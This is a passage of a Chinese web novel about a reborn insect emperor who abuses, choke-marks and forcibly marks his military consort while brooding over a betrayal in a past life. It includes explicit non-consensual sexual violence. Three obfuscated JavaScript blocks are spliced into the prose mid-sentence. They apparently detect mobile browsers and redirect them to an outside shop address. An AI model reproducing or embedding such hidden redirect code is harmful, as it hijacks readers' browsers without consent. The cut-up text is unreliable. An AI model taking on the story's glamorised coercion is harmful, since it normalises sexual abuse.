凭什么用这种眼神看着他?! 丢下了自己的,背叛了自己的,不就是这只雌虫吗,现在又有什么资格这么看着他!!! 恨意如燎原烈火,汹涌炙烤,烤得心肺焦枯、血肉崩裂,也依然不肯罢休。 精神力侵压、覆盖,一遍遍吞噬掉那个陌生雄虫的标记,那陌生又熟悉的精神力痕迹,无时无刻不在助长着菲诺茨心头的愤怒。 陌生?真的陌生? 不是他的标记,但是精神力和他同源,除了他那位大皇兄,还能有谁? “你在大皇兄身下也是这样吗?他也会像我这样对你,让你这么喜欢吗……又或者,根本不需要他做什么,你就已经乖乖趴下,求他标记了?” 菲诺茨听到自己的声音这么讥讽,满怀怨怒的恶意。 红发雌虫痛苦摇头,涣散的红眸中溢满了生理性的泪水。 他的喉咙被菲诺茨的手掌限制,出不了声,嘴唇却在颠簸中开合,发出一点支离破碎的气音。 我……没有…… “——嗬!” 一阵剧烈的抽搐,西切尔猛地吸了口气,死死咬住了下唇,红眸彻底失去焦点,瞳孔扩大,望着上方的天花板,急促喘息。 冷汗浸透了他的头发,顺着苍白的脸颊一滴滴滑落,强健的身躯僵硬又无力地瘫着,一块块肌肉因为过度的痛感,不断痉挛细颤。 凄惨又狼狈。 菲诺茨胸口生出一股苦闷的绞痛,心脏仿佛又被攥紧了,难以呼吸。 可那双蓝眸却愈发晦暗起来,翻滚着暗沉汹涌的波涛。 他状似亲昵地低下头,鼻尖蹭着红发雌虫的脸颊,低喃着,语气森森:“就让我们好好度过这一晚吧……” “我亲爱的雌君。” 4. 第4章 上午10点,菲诺茨起身下了床。 红发雌虫倒在床上,脑袋歪向一边,双眼紧闭,已经再次昏死过去。 覆盖标记加打开孕腔的深度标记,在精神印记冲突的情况下,带来的痛苦不仅仅是成倍增加那么简单。 那种近乎灵魂撕裂的剧痛,哪怕是S级军雌,也依然承受不住。 赤脚踩在地上,菲诺茨径直走向寝宫一角,推开小门,进入另一边的浴殿。 等他沐浴完,穿好衣服出来,西切尔已经醒了。 没了抑制器压抑,S级军雌的自愈力十分强大,昏迷也不会太久。 他出来时,红发雌虫半坐在床上,手掌贴着小腹,表情有些不适,仿佛在忍耐着什么。 这也正常。 孕腔初次被打开,就遭到了那么粗暴的对待,菲诺茨又待得太久。以至于他离开时,里面还在不断紧缩,缓不过来似的,轻轻碰一下都会让雌虫剧烈发抖。 除此之外,大概也跟他留的太多了有关系。 雌虫的孕腔会在雄虫离开后自动闭合,锁住里面的配子,增加受孕几率。 菲诺茨一整晚都没停,几乎灌满了,他当然会觉得涨。 注意到菲诺茨出来,红发雌虫放下手,沉默地从床上下来,跪伏在地。 他低着头,菲诺茨看不清他的表情,只能看到一点苍白的侧脸。 两只虫翼还垂在他的身后,绯红的鳞片上布满星星点点的浑浊白斑,边缘的棱刺微微垂着,因为长久缺乏信息素的滋润,有些萎靡。 目光在虫翼上停了两秒,菲诺茨转开视线,冷声道:“去洗澡。” 西切尔低低应道:“……是。” 他站起身,高大挺拔的身躯微微滞了滞,才缓慢地走进浴殿。 等他的身影消失在门后,水声传来,菲诺茨按下传唤铃。 侍者们鱼贯而入,目不斜视地迅速打扫,很快将寝宫收拾一新。 脏污的地毯被撤换掉,帷帘被褥也都换了新的,空气中弥漫着淡淡的月影花香气。 收拾干净,侍者们无声躬身行礼,安静退出。 殿门闭合,寝宫内又恢复安静。 过了一会儿,浴殿的小门被拉开,西切尔走了出来。 他没穿鞋,也没穿衣服,因为没有。 结婚前他还在战场上,一回来就被拉到了婚礼现场,换上礼服,然后就进了圣蒂兰宫。 军装和礼服都脱掉,被侍从拿去洗了,其他衣物都在军部宿舍,根本没机会去拿,以至于现在只能光着。 菲诺茨坐在床头,原本在看光脑,处理上面的文件,此时掀起眼皮,目光直直落在了西切尔身上。 红发雌虫一身热腾腾的水汽,头发湿润着,末端滴着水,光裸的肌肉饱满结实,遍布星星点点还未消散的痕迹,一对虫翼也已经清洗干净,收回了脊背中。 他在菲诺茨面无表情的注视中,慢慢走了过来,沉默地跪下。 盯着那头红色的头发看了会儿,菲诺茨微微眯眼。 当初他从荒星回来后,因为身体过度虚弱,需要休养,在伊凡亲王那里住了很长一段时间。 养伤的日子没什么事做,就只能看看新闻。 虫族尚武,新闻也多半和军事有关,而当时军部的所有热点,基本都和西切尔有关。 可以说,菲诺茨是一步一步,看着这只雌虫慢慢爬到军部高层,再在一场大胜的战役中,成为元帅的。 不得不说,西切尔的确很有能力。 那一场战役,任何对军事方面有点了解的,都能看出来那是必败的局面,指名要他去的那只虫,明摆了就是为了让他去送死。 要么死在战场上,要么死在战后的军事法庭上。 但他偏偏胜利了。 反败为胜,在最危险的处境,取得了最大的胜利。 “我一直很好奇,西切尔……” 菲诺茨走下床,站在西切尔身前。 他抬起雌虫的下巴,让这张冷峻深邃的脸对着自己。雌虫的脖颈上还残留着几道指印,是还没彻底消下去的掐痕。 白皙干净的指尖顺着下巴滑下,落在喉结处,在那一小片痕迹上缓慢流连。 “你为什么会选择我。” 这句话,菲诺茨曾经问过一次,在西切尔亲自找上他,提出合作的时候。 西切尔那时的回答是,他和大皇子卡洛斯闹翻了。 菲诺茨并不意外。 他那位大皇兄,本就气量狭小,厌恶任何胆敢违逆他的存在。 或许是一场争吵,或许只是一句辩驳,西切尔展示了不驯,卡洛斯也就再也容不得他。 而西切尔,有野心,也足够果决。 正如当初发现菲诺茨无法为他提供助力一样,在察觉到大皇子已经不再信任他后,就毫不犹豫地反水,也是很正常的事。 合情合理,没有什么需要质疑的地方。 于是菲诺茨就接受了,之后再也没问过。 直到现在。 或许是属于这一世的记忆也和上辈子一样变得遥远,不知怎么的,菲诺茨就忽然又想再问一次。 “告诉我。”他挑起雌虫的下颌。 西切尔呼吸几不可闻地停顿了下,永久标记完成,他的身体已经属于菲诺茨,对他的信息素十分渴求,却始终得不到。 过度的焦渴导致他对菲诺茨的接近格外敏感,哪怕只是像这样轻轻触碰,也控制不住涌起一阵阵战栗。 喉结克制着滚动了下,西切尔看着眼前的青年,嗓音低哑:“您……需要我。” “……” 菲诺茨面无表情,半晌,他忽地笑了声。 “‘需要’。” 他慢慢念了出来。 和曾经的回答不一样。 可是,这又算什么回答? “需要我提醒你吗,元帅阁下?” 菲诺茨勾起嘴角,眼里却没有丝毫笑意。 “当初我被关在监狱,费尽心思想要见到你的时候,你对我说了什么?” 西切尔神色一滞。 菲诺茨冷笑一声,一个字一个字地重复: “你说,‘别再继续纠缠我了,你已经没用了。老老实实待在监狱里,等着被流放不好吗?为什么总是想往外跑?真麻烦。’” “还记得你说的这些吗?西切尔元帅。” 西切尔嘴唇微不可察地颤了下,低低开口:“……记得。” “那么你现在要对我说,那都不是真的?你从来都没有放弃过我?”菲诺茨似笑非笑道。 “……是真的。” “但我……从来都没想过要……呃!” 精神力尖刺猛地扎入脑海,红发雌虫的话语陡然中断,瞳孔颤动,疼得脸色煞白,呼吸发抖。 “没有?呵。” 菲诺茨嗤笑一声,脸色沉了下去。 “你是什么样的虫,我们都很清楚。这些话,说给外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088527|195420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面的虫听一听也就算了,可别连自己都骗过去了。” 他勾起嘴角,露出点轻飘飘的笑意,蓝眸却仿若透不进光亮的暗海,晦暗深沉。 捏着下巴的手指缓缓用力,指尖泛白。 他慢慢道:“别惹我不开心,知道了吗?雌君。” 红发雌虫额头沁着冷汗,失去血色的嘴唇开合了几次,才勉强吐出字眼:“……是……陛下……” “真听话。”菲诺茨似笑非笑。 他松开手,轻轻拍了拍雌虫的脸,起身瞥了他一眼,嗤笑一声。 “记住了,下次编个好点的谎言再来骗我。” 他转身收起笑脸,冷冷向外走去。 打开殿门,走出去。 厚重的雕花大门被关闭,身后的声音,西切尔的呼吸声、心跳声,所有活着的动静,都被阻隔在内,和他彻底分开。 他再也感知不到一丝一毫。 脚步蓦然停住,菲诺茨心口发紧,抬起头,眼前是明亮的走廊,墙壁上挂着挂毯、墙边放着花瓶,隔一段就有侍者站在边上。 明明不算冷清,可不知为何,他却忽然觉得很空,空空荡荡,仿佛一切都离他远去了。 没有声音,没有生气,到处都蒙着一层冰冷又死寂的色调,空得仿佛下一秒就能吞噬他。 头又开始疼了起来,一阵阵撕裂感沿着大脑皮层下传,好像一片片尖刀在里面切割。 “……陛下?” 一旁的侍者有些担忧地问。 菲诺茨闭了闭眼,脸色微微苍白,他没有理会侍者的询问,嗓音微哑地吩咐:“让侍卫长来书房见我。” 随后向前走去。 …… 雕花大门内部。 圆床边,跪着的红发雌虫动了动,头微微抬了起来。 雌虫的五感都很灵敏,S级雌虫更是其中的佼佼者,仅仅一门之隔,听清楚外面的对话不是问题。 侍者说出的那句“陛下”很清楚,语气里的关切也很明显,哪怕经过一层房门的削弱,也还是毫无迟滞地传进了雌虫耳朵里。 他抬头望着房门,听着外面的声音,直到听见熟悉的脚步声远去,细数一下,分辨出里面并没有明显的虚弱,还是和以往一样平稳后,才把头重新低了下去。 红发雌虫一动不动的跪在那里,高大挺拔的身躯,仿佛一座沉寂孤暗的高山。 他静静跪着,过了会儿,身体倏忽颤抖了一瞬,又猛地掐紧手心,止住了发颤。 闭了闭眼,深深呼吸,再重重吐出去。 颤抖不再继续,可手心却越掐越紧,呼吸也渐渐粗重。 大片大片黑色的虫纹从他颈后和背部慢慢浮现出来,花纹繁复,色泽却十分黯淡,像是长久没有得到过滋润保养的兵刃,灰扑扑一片。 虫纹周边的皮肤也慢慢变化,微微泛红,像是被正在被灼烧着一样。 红发雌虫身体再次微颤起来,双眼紧闭,额头冒汗,饱满结实的肌肉紧紧绷起,仿佛在忍受什么极致的痛苦。 他咬紧了牙,两手死死攥成拳头,竭力控制呼吸。 过了许久,虫纹慢慢消隐下去,高大的雌虫已经像是从水里捞出来一样,浑身是汗,红发也被打湿,几缕发丝凌乱地垂在脸侧。 他脸色苍白地睁开眼,慢慢抬起头,看向雕花大门,仿佛是在透过门看着什么。 嘴唇蠕动着,无声念了几个字,红发雌虫微微垂眸,抿住唇,把头重新低了下去。 5. 第5章 菲诺茨来到书房,大脑的刺痛还在持续。 他坐在扶手椅上,靠着椅背,紧蹙着眉,用手捏着眉心。 过了一会儿,侍卫长到了。 听到敲门声,菲诺茨睁开眼,放下手:“进来。” 侍卫长格拉夫推门进入,行礼后道:“陛下,您找我?” 侍卫长格拉夫,曾是上一任虫皇,也就是菲诺茨雄父的亲兵队队长,后来被派去他身边保护他。 这只雌虫心思缜密,战斗力强悍,手下的军雌也个个都是精锐,哪怕是在王位争夺最激烈的那段时间,也一直把菲诺茨保护得很好。 是菲诺茨身边最有用的属下之一,深受信任。 菲诺茨嗯了声,问道:“卡洛斯还活着吗?” 格拉夫恭敬道:“还活着。按照您之前的吩咐,关在地牢,只是……” 他犹豫了下:“……他吵着要见您,还说了很多……不敬的话。” 不敬的话? 菲诺茨心里一哂,是骂他吧。 他脸色不变:“给他送点吃的,营养液就行,不吃就给他灌进去。另外把他还活着的消息透露出去,走暗处途径,别太明显。” 他顿了顿,指尖敲了两下桌面,微微沉吟:“再去通知宫务大臣,王室庆典提前,一周后就举办,让他尽快准备。” 格拉夫有些犹豫:“陛下,您是想用大皇子引出叛军?可是这样……会不会有些太冒险了?” 叛军说多不多,可说少也不少,要是都被引过来,到时候庆典上虫多杂乱的,万一误伤到陛下怎么办? 菲诺茨淡淡道:“不会,能来的叛军没那么多,我会再通知中央军团的尤利少将,让他配合你进行守备。” 叛军已经逃到了奥利法星系,路途遥远,又有军部围堵,仅仅一周时间,就算来了,也最多只有几个领头的。 菲诺茨要对付的也不是他们。 大皇子卡洛斯落败后,虽然明面上对外说的是死了,但实际上只是被他囚禁了起来。 他没打算让卡洛斯死得太容易,只可惜上辈子的这段时间,他的头痛症发作频繁,情绪起伏不定,难以控制,一不小心就把卡洛斯弄死了。 也是彻底弄死了之后,军部才发现,追随卡洛斯的那些叛军,表面上是都逃到了奥利法星系,但实际上,最核心的一批,却依然藏匿在主星上。 这些核心残党虽然只有寥寥数虫,但个个都是高阶军雌。 他们被卡洛斯的死刺激到,发动了自杀式袭击和暗杀,菲诺茨一时不慎,吃了个大亏,虽然没有危及性命,但也受了不轻的伤。 普通的叛军并不会这么悍不畏死,这些军雌之所以这么疯狂,是因为他们都是卡洛斯的雌侍。 在虫族,最好的掌控一只雌虫的办法,就是标记他。 雌虫身体强悍,生命力也极度顽强,在宇宙中基本没什么天敌,大概就是因为这样,造物主在创造他们时,才给了他们这样一个无法抗拒的弱点。 每只雌虫成年后都会迎来发情期,唯有被雄虫标记,才能得到解脱。 被雄虫标记过的雌虫,此后一生都会渴望这只雄虫的信息素,变成信息素控制下的奴隶。 但如果一直都不被标记,雌虫也会在一次次的发情期饱受折磨,直到某一次,身体彻底熬不住了,就会陷入狂化,变成一头没有理智的野兽。 越是等级高的雌虫,越是如此。 本能和身体的需求都让雌虫们无比渴望雄虫,即便现在已经有了合成信息素,能够勉强替代,但到底比不上真的,尤其比不上王虫的。 卡洛斯正是利用了这一点。 他的这些追随者们基本上都是他的雌虫,被他标记过,用信息素笼络住,让他们心甘情愿保护他,为他冲锋。 这群雌虫认定了卡洛斯是他们的雄主,之所以冒险留在主星,就是为了伺机救出他。 菲诺茨要利用的也是这一点。 某种意义上来说,雌虫都是一群大脑简单的生物。 保护雄虫被他们刻进了骨子里,只要能够保护自己的雄主,他们做出什么来都不奇怪。 他把卡洛斯还活着的消息放出去,哪怕明知道这是个圈套,这些被标记过的雌虫也会毫不犹豫地跳进来,前仆后继送死,只为了能救出他们的雄主。 愚蠢,但也忠诚。 菲诺茨眼神微暗。 雌虫都是这样的,认定了哪只雄虫,就基本不会再变。 像西切尔这样,明明已经被标记,却还毫不犹豫反水,背刺自己雄主的,才是雌虫里的另类。 他大概也是在赌。 他被卡洛斯标记过,一生都只能接受卡洛斯的信息素,卡洛斯死了,没了信息素,他发情期只能硬熬,熬不过去了,就是死。 除非菲诺茨再次标记他。 菲诺茨的精神力等级比卡洛斯高很多,足以覆盖掉卡洛斯的标记,但菲诺茨并不一定真的会这么做。 倘若他不标记西切尔,那么最多十几年,西切尔就会死于发情期的狂化,谁也救不了他。 拿自己的命赌。 对别的虫狠,对自己更狠。 菲诺茨心里冷笑一声。要不是这样,他区区一个平民,也坐不上元帅这个位子了。 挥散心里的不快情绪,菲诺茨吩咐道:“看好卡洛斯,别让他死了。” 格拉夫表情一肃:“是!” 脑海里的撕裂痛还在持续,没有半点消散的痕迹,菲诺茨脸色不变,摆摆手:“你先下去吧。” 格拉夫应了一声,却没有立即告退,而是问道:“陛下,您的寝宫外,是否需要多加派些卫兵?” 菲诺茨抬眼看向他:“理由?” 格拉夫冷静道:“西切尔元帅虽然带了抑制环,但毕竟是S级军雌,要是他想对您不利,只有一队卫兵,未必能立即制服他。” 虽然在陛下争夺皇位的过程中,这位元帅给了很多帮助,但格拉夫并不相信这只雌虫。 他是上任虫皇的亲兵,很早就见过菲诺茨,可以说是一点点看着他长大的。 他知道这位小王子的性格,天真善良、开朗活泼,根本不可能做出“虐杀军雌”这种事来。 所以对于当初作伪证、指控菲诺茨的西切尔,一直抱有警惕和不满。 对于菲诺茨娶西切尔当雌君这件事,格拉夫也浏览过星网上的言论,他和主流的看法一致,认为陛下是为了报复。 之前几天,陛下对西切尔的态度,鞭打、罚跪、戴抑制环……也都证明了这一点。 但从两天前起,陛下让西切尔回到寝宫后,就再也没有动静了。 理智上,格拉夫知道陛下的精神力很强,一个念头就可以让虫炸成齑粉,真的要对上,西切尔,或者说,整个帝国都没有谁是陛下的对手。 但情感上,他还是会担心,陛下到底是个雄虫,万一西切尔图谋不轨,趁陛下没有防备偷袭呢?雄虫的反应可没有雌虫快! 忠诚的侍卫长忧心忡忡。 “陛下,抑制环也再准备两个吧?”还不知道他们陛下已经把抑制环取下来了的侍卫长担忧地建议。 菲诺茨沉默一瞬:“不用。” “可是……”格拉夫还想再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088528|195420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 劝。 菲诺茨冷冷抬起目光。 平平淡淡的一个眼神,却仿佛蕴含着无比的威压。格拉夫心里一惊,连忙闭上嘴。 “下去吧。”菲诺茨淡淡道。 “……是。”被一个眼神吓出了一层冷汗,格拉夫不敢再吭声,恭敬退出。 书房的门关上,菲诺茨翻开一份文件,低头工作。 室内一片安静,只有纸张翻动的声音和钢笔沙沙的书写声响起。 时间一分一秒流逝,桌上的文件也在慢慢减少。 又签署掉一份报告,菲诺茨放下钢笔,往后靠在椅背上,仰起头,捏着眉心,神色有些郁郁。 大概是重生的关系,他的头疼症比上辈子的这个时期还要严重,只是工作了这么一会儿,大脑就像要裂开一样。 那些记忆碎片凌乱地散落在精神域里,乱糟糟地堆着,像是一片片碎掉的镜子,锋利的边缘切割着空间,割得到处都是细小的伤口和裂痕。 伤口慢慢愈合,但要不了多久,就会再次被割开。 尖锐的刺痛感就像是一条条潜藏在大脑里的毒蛇,时不时咬他一口,让他心情止不住地烦躁。 枕着椅背上的靠垫,菲诺茨捏着额头,目光上移,落在天花板上挂着的水晶灯上,忽然停了停。 华丽的水晶被雕刻成一朵朵鸢尾花的模样,剔透无暇,折射着柔白的灯光,明亮耀眼。 揉按的手指慢了下来,菲诺茨有些怔怔望着这盏灯。 这盏水晶灯,从他小时候就装在这里,上辈子他继位后,也一直没换过。 直到西切尔死了之后,某次不小心打碎了,才终于换掉。 那之后的许多时光,他独自坐在书房,在安静得没有任何一点声音的空间里,望着天花板,想着原来的这盏灯长什么样子。 但不知道为什么,始终想不起来,脑海里的印象始终都是一片模糊。 直到现在,再次亲眼看到,他才有些恍然。 原来是这样子的…… 思绪有些游离,菲诺茨无意识地用目光描摹着水晶灯的轮廓。 四周空寂无声,湿凉的空气弥漫,冷寂的气息一点点从角落里蔓延出来,逐渐蚕食书房中的每一寸空间,向中央的白发雄虫步步逼近。 菲诺茨忽然打了个冷颤,从发散的思绪里回过神来。 “扣扣。” 门外响起敲门声。 “陛下,午餐已经准备好了,是否要现在用餐?” 菲诺茨往外看了一眼,语气有些恹恹:“不了。” 头还在疼,他心里烦得慌,一点都没胃口。 顿了顿,他又道:“拿支营养液过来。” 少顷,营养液被放在托盘里,恭敬地呈了上来。 菲诺茨坐在扶手椅上,一动不动地,目光静静落在托盘里。 书房的门是关上的,寂静的空间里,只有他一只虫待在这。 四周的冷寂气息再次侵袭过来,冰冷的空气压在他身上,周围的一切仿佛都成百上千倍地扩大了,空空荡荡,却又极其安静,安静得可怕。 菲诺茨霍然起身,拿起营养液,离开书房。 他穿过空荡的走廊,穿过空荡的大厅,穿过空荡的一条条路,最终回到寝宫外。 推开门,看到跪在床边的红发雌虫时,他的脚步慢了下来。 雄虫的感官没有雌虫敏锐,离得这么远,菲诺茨听不见西切尔的呼吸声和心跳声。 可它们却又那么鲜活地闯进他的眼里,闯进他的耳朵里,把那些空虚冷寂烦躁的情绪全部挤开,一下子,塞满了他的心。 6. 第6章 清冷沉寂的空气都被关到了殿外。 菲诺茨走进寝宫,目光落在那只红发雌虫身上。 熟悉的热烈红发,熟悉的深邃眉眼,熟悉的宽厚脊背,熟悉的挺拔身形,跪在那里,像一座沉稳寂静的高山,无声屹立。 好像一直,一直,都会在这里。 但他已经知道了,这座高山,终有一天会彻底坍塌。 他会死去,死在遥远的星海,死在他看不见也听不见的地方。 菲诺茨目光慢慢下移,落在西切尔的小腹上。 雌虫的小腹还是微微鼓着的。 孕腔锁住了,他又留得太多,里面的一时半会儿吸收不完,原本紧致平坦的小腹,此时看起来,就像是怀孕了。 如果那颗蛋还在,也就会是这样吧…… 菲诺茨垂下眼,纤浓的睫毛宛如纯白的蝶翼。 虫蛋不光需要配子,还需要雄虫的信息素,才能孕育出来,成长的过程中,也需要雄虫的信息素灌溉。 上辈子,他和西切尔结婚的那几年,满打满算,释放过的信息素也不超过十次。 但就是这么少得可怜的几次,那颗蛋还是□□地来了,在他不知道的时候,顽强生长着。 只是最终,它还是没能活下来。 抓着营养液的手慢慢收紧,菲诺茨走到桌边,拿起一个玻璃杯,把营养液倒进去。 他端着杯子来到西切尔面前,冷睨着这只雌虫,递过杯子:“喝了。” 西切尔怔了怔,看了看面前的杯子,又看了看他。 “怎么,怕我下毒?”菲诺茨讥讽道。 他脸色很冷,很不好看,红发雌虫眼底闪过一丝情绪,像是不知道怎么又惹恼了他,有些无措,嘴唇微微张了张:“不是……” 说到一半,又像是想起了什么,重新闭上。 他没有再说话,沉默地接过杯子,遵从菲诺茨的命令,喝掉里面的东西。 浓稠的液体顺着玻璃杯进入雌虫口中,随着喉结滑动,被一口口咽了下去。 他已经很长时间没有正经进食过了,一杯营养液下肚,一接触胃壁,就被身体迫切地吸收,消化分解。 长久的虚弱无力被缓解了一些,苍白的脸色也恢复了些许红润。 菲诺茨望着眼前的雌虫。 雄虫的食谱上是没有营养液的,这些都是雌虫或者亚雌的食物。口感黏腻,寡淡又乏味,除了能够快速补充能量,没有任何突出的优点。 饱腹感也中规中矩。 军雌身体强悍,S级军雌更是其中的佼佼者。 越强的战力,就意味着越大的消耗,一支营养液,对于西切尔这种顶尖军雌来说,也只够保证身体最基本的存活,要说吃饱那就别想了。 可就算是这么一点东西,上辈子他也没给西切尔。 他也没让西切尔回来,这只雌虫就那么在庭院里跪着,带着抑制环,顶着满背的鞭伤,跪在暴雨中,被风雨吹打着,一直跪到身体再也撑不住,倒在地上,高烧昏迷为止。 菲诺茨收回目光,走到密码柜旁,拉开,从一排备用光脑里拿出一个,开机,传了几个文档进去。 他回到床边,把光脑扔给西切尔。 “一周后王室庆典,你和我一起出席,自己熟悉一下流程。” 红发雌虫低声道:“是。” 菲诺茨来到窗边的沙发上,坐下,把书房带回来的工作用光脑打开。 头还是在疼,但比刚刚在书房时已经好了很多,心底的烦躁与戾气也慢慢沉寂下去,偃旗息鼓。 蹙着的眉头放松了点,菲诺茨沉下心神,继续看起文件。 圆床边,西切尔打开光脑,看到里面一个个标着序号的文档。 他抬起眼,看了看坐在不远处的菲诺茨。 白发青年靠坐着沙发,单腿翘起,垂眸看着面前的光屏。 外界的雨还在下,窗帘紧闭着,寝宫里只有灯光。 炽白的光线照遍每个角落,却仿佛偏爱一般,更多地汇聚在这只雄虫身上。 那头蓬松的白发打理过,利落了不少,显得没那么柔软,多了几分冷硬的味道,但依然蒙着一层光晕。 睫毛纤浓,随着眨眼的动作,上下翻飞,蓝眸清透,映着光屏里的一行行文字,看上去就像是被点亮了的蓝宝石。 精致的侧脸,优美的脖颈,修长的身形…… 这是一只造物主极为偏爱的雄虫,像是用纯白的冰雪和最剔透的蓝宝石堆砌而成,精心雕刻出来,处处完美。 只有一个地方,存在着瑕疵。 西切尔移动目光,落在雄虫的左手上。 这只手被雄虫搭在腿上,白皙修长,手背的皮肤光洁无暇,十分完美,但再往上,到了手指的部分,却陡然狰狞起来。 那几根手指同样白皙,表面却布满了疤痕,骨节也微微扭曲,透着诡异的不协调感。 像是曾被暴力粉碎过,又重新生长起来的。 这只手被雄虫搁在腿上,像是不舒服,基本没移动过,全靠右手在光屏上操作。 当然会不舒服,他坐在窗户边,纱帘虽然拉得紧实,但还是会有水汽从窗户缝隙里渗进来。 被折断过的骨头,一遇到湿寒的水汽,就会发僵刺痛。 要保暖。西切尔动了动嘴唇,想要开口—— 【别惹我不开心,知道了吗?雌君。】 涌起的话语停在喉头,被无形的东西禁锢住,再也出不来。 他可以在战场上沉稳自若地发号施令,也可以在政敌面前冷静流畅地辩论,但在面对菲诺茨时,他总是不知道怎么组织语言,不知道该怎么表现,往往只是一句话、一个动作,就会轻易惹得雄虫勃然大怒。 就像是刚刚,他并没有怀疑菲诺茨。只要是这只雄虫给的,哪怕真的是毒药,他也会喝。 他只是没想过,菲诺茨会愿意让他吃东西。 可菲诺茨还是生气了。 眼前闪过雄虫冰冷阴鸷的神色,西切尔慢慢抿起唇,沉默着,把头低了下去。 …… 菲诺茨抬起眼。 红发雌虫跪在圆床边,肩宽背厚,肌肉结实,看着光屏上的视频,神色专注。 虫皇大婚,除了正式的婚礼,一般还会在半个月后,再举行一次盛典庆祝。 庆典上虫皇会携王君出席,在媒体和镁光灯下,接见上议院的官员、军部 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088529|195420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 将领以及贵族,巡视中央街区,视察军校等等,也是一个向外界正式介绍王君的流程。 上辈子的庆典开始时,西切尔刚从昏迷中醒过来,高烧还没退,身上的伤口也没愈合,身体状态很差。 菲诺茨为了惩罚他,也没给他拿掉抑制环。 所以当混进庆典的叛军发动袭击时,西切尔没能第一时间反应过来。 庆典半途中断,菲诺茨受了伤,而一直站在他身边的西切尔,成了众矢之的。 之前那些恍惚的眼神、难看的脸色,以及行动间的僵硬,都被解读成了对新任虫皇的不满。事发当时的反应迟钝,也被认为是一种无声的抗议。 只是这种抗议是不光荣的。 保护雄虫,是每只雌虫基因里就遵循的准则。 作为雌君,西切尔是保护虫皇陛下安全的第一负责虫。 他站在虫皇陛下身边,又是S级军雌,却在袭击发生时,没有第一时间出手。 这种“无作为”的行为,让外界对他的风评一落千丈。 虫皇陛下受伤昏迷,整个帝国都惊慌忙乱起来,没有虫注意到,西切尔也在保护虫皇的过程中,受了重伤。 抑制环绑定菲诺茨的指纹,没有菲诺茨的权限,取不下来。戴着抑制环,自愈力被压制,伤口始终愈合不了,加上高烧和虚弱,最终引起了发情期提前。 他已经被菲诺茨标记,却只得到过一次信息素,身体里的信息素极度匮乏,以至于这次的发情期极为凶险。 等菲诺茨醒来发现的时候,西切尔已经意识不清,精神海也已经濒临崩溃,虚弱了很久,才慢慢恢复过来。 星网上骂他活该,雌虫之耻。 他的过往都被翻了出来,逐帧发到星网上。 菲诺茨冷眼旁观。 他恨西切尔,要让他受尽一切痛苦。 所以他放任了事态发展,默许,甚至推波助澜。 他的态度就是最好的指向标,政敌不再顾忌,放肆打压,操控舆论,扭曲他曾为帝国征战的事实,把他定义为一个卑劣无耻、只会抢夺他人战功的雌虫。 曾经的荣誉和战绩,都被蒙上污垢,光辉不再,从平民一路爬上元帅之位的励志虫生,也成了踩着他虫上位的污点经历。 靠玩弄算计,顺风顺水度过了十几年后,这只雌虫的运气好像终于用尽了,所有的报应都找上了他。 雄主冷待,风评落地,外界冷嘲热讽,追随者们不再尊敬,一个个鄙夷离开,辛辛苦苦这么多年、殚尽竭率得到的权力流失…… 身败名裂,众叛亲离。 本该幸福安宁的婚姻,也是满地狼藉,带给他的只有苦痛折磨。 风风光光的元帅生涯到此为止,他重新跌落泥潭,甚至比原来更加不堪,受尽白眼和奚落。 但这只雌虫没有颓废萎靡,或是怨毒怒骂。 他始终沉稳屹立着,不动不摇,好像没有什么可以把他打倒。 沉默坚忍,专心致志做好自己的事,仿佛外界的一切,都与他无关。 菲诺茨只是冷笑,看着他装,等着他装不下去,撑不住向自己求饶的那一天。 …… 他没能等到。